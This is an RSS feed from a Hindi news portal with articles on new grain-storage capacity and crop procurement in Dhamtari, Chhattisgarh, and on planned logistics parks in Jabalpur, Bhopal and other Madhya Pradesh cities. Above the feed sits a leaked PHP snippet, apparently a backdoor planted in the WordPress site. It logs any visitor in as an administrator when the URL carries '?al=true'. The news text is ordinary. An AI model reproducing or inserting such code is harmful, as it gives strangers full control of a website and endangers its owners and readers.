// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); logistics hub – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 06 Jun 2026 11:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 धमतरी का महा-परिवर्तन: 60 करोड़ रुपए की रिकॉर्ड खरीदी और 30 हजार मीट्रिक टन का नया ‘लॉजिस्टिक्स हब’ https://pratyushaashakinayikiran.com/?p=225208 Sat, 06 Jun 2026 11:40:00 +0000 https://pratyushaashakinayikiran.com/?p=225208 धमतरी का 'महा-परिवर्तन': 60 करोड़ रुपए की रिकॉर्ड खरीदी और 30 हजार मीट्रिक टन का नया 'लॉजिस्टिक्स हब'

​अब नहीं भटकेगा किसान, ब्रॉडगेज रेल और आधुनिक गोदामों से बदलेगी धमतरी की तकदीर

​धान का कटोरा अब बनेगा 'वेयरहाउसिंग हब': धमतरी की नई आर्थिक उड़ान

रायपुर

    ​​छत्तीसगढ़ का कृषि प्रधान जिला धमतरी आज विकास और आत्मनिर्भरता के एक नए दौर में प्रवेश कर रहा है। कभी रबी फसलों के रिकॉर्ड उपार्जन के बाद भंडारण की कमी से जूझने वाला यह जिला, आज अपनी मजबूत इच्छाशक्ति और प्रशासनिक दूरदर्शिता के कारण प्रदेश के एक प्रमुख 'वेयरहाउसिंग एवं कृषि लॉजिस्टिक्स हब' के रूप में उभर रहा है।

      ​राष्ट्रीय सहकारी उपभोक्ता महासंघ (NCCF) और छत्तीसगढ़ राज्य भंडारण गृह निगम (SWC) के संयुक्त प्रयासों से जिले में 30 हजार मीट्रिक टन की अतिरिक्त वैज्ञानिक भंडारण क्षमता विकसित की जा रही है, जो धमतरी की ग्रामीण अर्थव्यवस्था और कृषि परिदृश्य को पूरी तरह बदलने के लिए तैयार है।

    ​अतीत की चुनौती से लिया सबक
       
      ​विगत वर्षों में धमतरी ने रबी फसलों, विशेषकर चने के रिकॉर्ड उत्पादन और उपार्जन का गवाह बना। लेकिन इस खुशी के साथ एक बड़ी चुनौती भी सामने आई।जिले में पर्याप्त भंडारण क्षमता का न होना। मजबूरी में उपज को दूसरे जिलों के गोदामों में भेजना पड़ा, जिससे न केवल परिवहन का खर्च बढ़ा, बल्कि प्रशासनिक और सहकारी संस्थाओं पर भी भारी दबाव पड़ा।     ​इसी चुनौती को अवसर में बदलते हुए धमतरी प्रशासन ने जिले में ही स्थायी और आधुनिक भंडारण अधोसंरचना विकसित करने की एक व्यापक कार्ययोजना पर काम शुरू किया।

​'विश्व की सबसे बड़ी अनाज भंडारण योजना' का मिला संबल

     ​केंद्र सरकार की महत्वाकांक्षी “विश्व की सबसे बड़ी अनाज भंडारण योजना” धमतरी के लिए वरदान साबित हो रही है। इसके तहत जिले की चार प्राथमिक कृषि साख सहकारी समितियों (पैक्स) का चयन किया गया है। जिसमे ​अंवरी,​कोसमर्रा,पोटियाडीह-आमदी और ​कोलियारी शामिल है। ​इन चारों समितियों में 2,500-2,500 मीट्रिक टन क्षमता के आधुनिक गोदामों का निर्माण युद्ध स्तर पर जारी है। इनके पूरा होते ही ग्रामीण स्तर पर ही 10 हजार मीट्रिक टन की अतिरिक्त भंडारण सुविधा उपलब्ध हो जाएगी, जिससे स्थानीय किसानों को अपनी उपज सुरक्षित रखने के लिए दूर नहीं भटकना पड़ेगा।

​इसके साथ ही, राज्य भंडारण गृह निगम (SWC) द्वारा धमतरी और कुरूद में 10-10 हजार मीट्रिक टन क्षमता के दो बड़े गोदाम विकसित किए जा रहे हैं। केंद्रीय भंडारण निगम (CWC) के पास पहले से उपलब्ध 1 लाख मीट्रिक टन से अधिक की क्षमता के साथ अब धमतरी का नेटवर्क बेहद मजबूत होने जा रहा है।

रिकॉर्ड खरीदी और आर्थिक समृद्धि(रबी विपणन वर्ष 2026)
   

   ​भंडारण क्षमता में यह विस्तार हवा में नहीं, बल्कि जमीन पर बढ़ती कृषि समृद्धि को देखकर किया जा रहा है। रबी विपणन वर्ष 2026 में जिले के 9,103 किसानों से 1 लाख 16 हजार 162 क्विंटल चने की रिकॉर्ड खरीदी की गई है, जिसके एवज में 60.54 करोड़ रुपये सीधे किसानों के खातों में भुगतान करने की प्रक्रिया जारी है। चने के साथ-साथ सरसों और मसूर का भी सफल उपार्जन किया गया है।

​राइस मिलर्स और व्यापार को मिलेगी नई रफ्तार

    ​धान मिलिंग के क्षेत्र में धमतरी हमेशा से अग्रणी रहा है, लेकिन अक्सर तैयार चावल और धान के सुरक्षित रख-रखाव की समस्या आती थी। इस नई क्षमता विस्तार से ​मिलिंग गतिविधियों में तेजी आएगी,​भंडारण का दबाव कम होगा और ​परिवहन और लॉजिस्टिक्स की लागत में भारी कमी आएगी। ​इसके साथ ही, धमतरी में ब्रॉडगेज रेल लाइन पर जल्द शुरू होने वाला रैक संचालन जिले के विकास में चार चांद लगाने वाला है। रेल मार्ग जुड़ने से यहां का चावल और कृषि उत्पाद देश के बड़े बाजारों तक बेहद कम लागत में पहुंच सकेंगे।

​     धमतरी में विकसित हो रही वेयरहाउसिंग अधोसंरचना और जल्द प्रारंभ होने वाली ब्रॉडगेज रेल सेवाएं जिले को प्रदेश के प्रमुख लॉजिस्टिक्स एवं व्यापारिक केंद्र के रूप में स्थापित करेंगी। यह पहल रोजगार सृजन, व्यापार विस्तार और स्थानीय अर्थव्यवस्था को गति देने में मील का पत्थर सिद्ध होगी। भंडारण क्षमता बढ़ने से कृषि उपज का बेहतर प्रबंधन, परिवहन लागत में कमी और विपणन व्यवस्था में सुधार होगा। यह नई अधोसंरचना किसानों, सहकारी संस्थाओं, व्यापारियों और उद्योगों के लिए दीर्घकालिक लाभ सुनिश्चित कर ग्रामीण अर्थव्यवस्था को नई मजबूती देगी।

​     ​धमतरी की यह सफलता की कहानी इस बात का जीवंत उदाहरण है कि कैसे सही समय पर सही बुनियादी ढांचे (Infrastructure) का निर्माण करके एक पूरे क्षेत्र की तकदीर बदली जा सकती है। आने वाले वर्षों में, भंडारण की यह सुदृढ़ व्यवस्था और रेल कनेक्टिविटी न केवल किसानों की आय में वृद्धि करेगी, बल्कि धमतरी को छत्तीसगढ़ के नक्शे पर एक बड़े 'कृषि-व्यापार और लॉजिस्टिक्स हब' के रूप में नई पहचान दिलाएगी।

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52 हेक्टेयर भूमि पर जबलपुर में बनेगा Logistics park, रिंग रोड पर होगा निर्माण https://pratyushaashakinayikiran.com/?p=145587 Thu, 03 Apr 2025 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=145587  जबलपुर  

 रिंग रोड़ से शहर की तस्वीर बदल रही है। वर्षों से बड़े ट्रांसपोर्ट नगर की कमी से जूझ रहे जबलपुर में अब अत्याधुनिक लॉजिस्टिक पार्क का निर्माण होगा। भेड़ाघाट के पास खैरी में 52 हेक्टेयर जमीन पर लॉजिस्टिक पार्क का निर्माण किया जाएगा। इसके लिए राष्ट्रीय राजमार्ग रसद प्रबंधन लिमिटेड (एनएचएलएमएल) सर्वे पूरा कर चुका है। इसमें लॉजिस्टिक पार्क को रेलवे ट्रेक से जोडऩे एक किलोमीटर लंबी रेल लाइन बिछाई जाएगी। रिंग रोड से होकर डुमना एयरपोर्ट के लिए भी सीधी कनेक्टिविटी मिल जाएगी। अब लॉजिस्टिक पार्क की डीपीआर तैयार होना है। इसके बाद टेंडर की प्रक्रिया शुरू होगी।

माल की लोडिंग-अनलोडिंग ऑटोमेटेड

ऑटोमेटेड बनना है लॉजिस्टिक पार्क- लॉजिस्टिक पार्क का निर्माण ऑटोमेटेड सिस्टम पर आधारित होना है। जिसमें माल की लोडिंग-अनलोडिंग ऑटोमेटेड होगी। विशेषज्ञों के अनुसार इस व्यवस्था से माल हैंडलिंग की लागत घटेगी और कीमतों में कमी आएगी। इसका सीधा फायदा आमजन को मिलेगा और कारोबारी सस्ते दामों पर सामान उपलब्ध करा सकेंगे।

देश का सबसे बड़ा लॉजिस्टिक हब, भोपाल, जबलपुर, इंदौर की चमकी किस्मत

ग्लोबल इंवेस्टर्स समिट से मध्यप्रदेश का देश में सबसे बड़ा लॉजिस्टिक हब बनने का रास्ता साफ हो गया है. मध्यप्रदेश की राजधानी भोपाल, जबलपुर, इंदौर, रतलाम और कटनी में बड़े लॉजिस्टिक सेंटर को विकसित किया जाएगा. राजधानी भोपाल में मंडीदीप के पास विश्वस्तरीय सुविधाओं वाला लॉजिस्टिक पार्क जल्द ही आकार लेने जा रहा है. करीबन 34 एकड़ भूमि पर डेवलप होने वाले इस लॉजिस्टिक हब में हर माह करीबन 90 हजार टन माल की लोडिंग हो सकेगी. उधर दिल्ली मुंबई एक्सप्रेस वे के पास रतलाम में भी एक बड़ा लॉजिस्टिक हब बनाने की तैयारी की जा रही है.

भोपाल के इटायाकलां में मार्च से शुरू होगा काम

राजधानी भोपाल से जल्द ही देश के किसी भी कोने में माल को पहुंचाना आसान होगा. भोपाल से सटे मंडीदीप के पास इटायाकलां में जल्द रेलवे द्वारा लॉजिस्टिक पार्क विकसित किया जा रहा है. इसका काम मार्च से शुरू हो जाएगा. इसके लिए रेलवे 98 करोड़ की राशि पहले ही मंजूर कर चुका है. इस लॉजिस्टिक हब की खासियत यह होगी कि यहां से देश के किसी भी कोने में लोड और अनलोड करना आसान हो जाएगा. इस स्थान का चयन भी इसलिए किया गया क्योंकि यह देश के सेंटर में स्थित है.

लॉजिस्टिक पार्क बदलेंगे एमपी की तस्वीर

मध्यप्रदेश में भौगौलिक स्थिति को देखते हुए मध्यप्रदेश में कई स्थानों पर लॉजिस्टिक पार्क विकसित किए जाने की तैयारी है. मध्यप्रदेश के मुंबई दिल्ली एक्सप्रेस वे पर रतलाम के पास भी बड़े लॉजिस्टिक पार्क की तैयारी की जा रही है. इसके लिए मंजूरी मिल चुकी है. यहां से मुंबई-दिल्ली तक माल पहुंचाने के अलावा गुजरात, राजस्थान सहित दक्षिण के राज्यों तक माल लोडिंग-अनलोडिंग की व्यवस्था आसान होगी. इसी तरह मध्यप्रदेश के जबलपुर, कटनी में भी लॉजिस्टिक पार्क डेवलप किया जाएगा.
धार और पीथमपुर के लिए 11 करोड़ का बजट

मध्यप्रदेश के धार और पीथमपुर में 255 एकड़ में सेंट्रल इंडिया का सबसे बड़ा लॉजिस्टिक पार्क बनाया जा रहा है. इसकी सबसे बड़ी खासियत यह होगी कि यह प्रदेश का पहला मल्टी मॉडल लॉजिस्टिक पार्क होगा. राज्य सरकार ने इसे 2026 तक तैयार करने का लक्ष्य रखा है. इसके लिए 1100 करोड़ का बजट रखा गया है. इसे एनएचएआई के साथ मिलकर बनाया जा रहा है. इससे आसपास के 2 हजार उद्योगों को फायदा मिलेगा. उज्जैन में भी एक लॉजिस्टिक पार्क बनाने की तैयारी की जा रही है. इसके लिए राज्य सरकार ने सर्वे का काम शुरू कर दिया है.
राज्य सरकार दे रही बड़ी रियायत

उधर राज्य सरकार ने लॉजिस्टिक पॉलिसी में निवेशकों के लिए बड़ी रियायतें दी हैं. वहीं, निवेशकों ने भी मध्यप्रदेश में लॉजिस्टिक सेक्टर में निवेश को लेकर गहरी रूचि दिखाई है. वर्ल्ड एसोसिएशन ऑफ इंवेस्टमेंट प्रमोशन एजेंसी के डिप्टी एग्जीक्यूटिव डायरेक्टर दुष्यंत ठाकुर के मताबिक, '' प्रदेश में लॉजिस्टिक उद्योग में निवेश फायदे का सौदा साबित होगा. आने वाले समय में यह निवेशकों के लिए बड़ा फायदा देगा.''

लॉजिस्टिक पार्क में होंगी ये सुविधाएं

● बड़े गोदाम और भंडारण सुविधाएं होंगी
● ट्रकिंग, रेलवे की सुविधा होगी
● सीसीटीवी कैमरे, अलार्म सिस्टम, और सुरक्षा गार्ड होंगे
● वेयरहाउस मैनेजमेंट सिस्टम, ट्रैकिंग और ट्रेसिंग सिस्टम और ऑटोमेशन की सुविधा होगी
● पैकेजिंग और लेबलिंग की सुविधा
● इन्वेंट्री मैनेजमेंट सुविधा
● लॉजिस्टिक व सप्लाई चैन मैनेजमेंट सुविधा
● रेस्तरां, कैफेटेरिया की सुविधा
● वाहन पार्किंग सुविधा, यूल स्टेशन, वर्कशॉप की सुविधा

लॉजिस्टिक पार्क बनने के शहर को ये होंगे लाभ

● रोजगार के नए अवसर सृजित होंगे
● नया निवेश आएगा
● सडक़ और परिवहन के बुनियादी ढांचे का विकास होगा
● भंडारण और गोदाम की सुविधाएं होंगी
● व्यापारिक गतिविधियां बढ़ेंगी
● आधुनिक और विकसित शहर के रूप में होगी पहचान
● सरकारी राजस्व में वृद्धि होगी

 खैरी में रिंग रोड के किनारे लॉजिस्टिक पार्क के निर्माण के लिए राष्ट्रीय राजमार्ग रसद प्रबंधन लिमिटेड ने सर्वे पूरा कर लिया है। रेल कनेक्टिविटी के लिए लगभग एक किलोमीटर का रेलवे ट्रेक भी बिछाया जाना है। वहीं रिंग रोड के माध्यम से एयरपोर्ट से सीधी कनेक्टिविटी मिल जाएगी। अब एनएचएलएमएल को डीपीआर तैयार करना है इसके बाद निर्माण के लिए टेंडर की प्रक्रिया होगी।

    अमृत लाल साहू, प्रोजेक्ट डायरेक्टर

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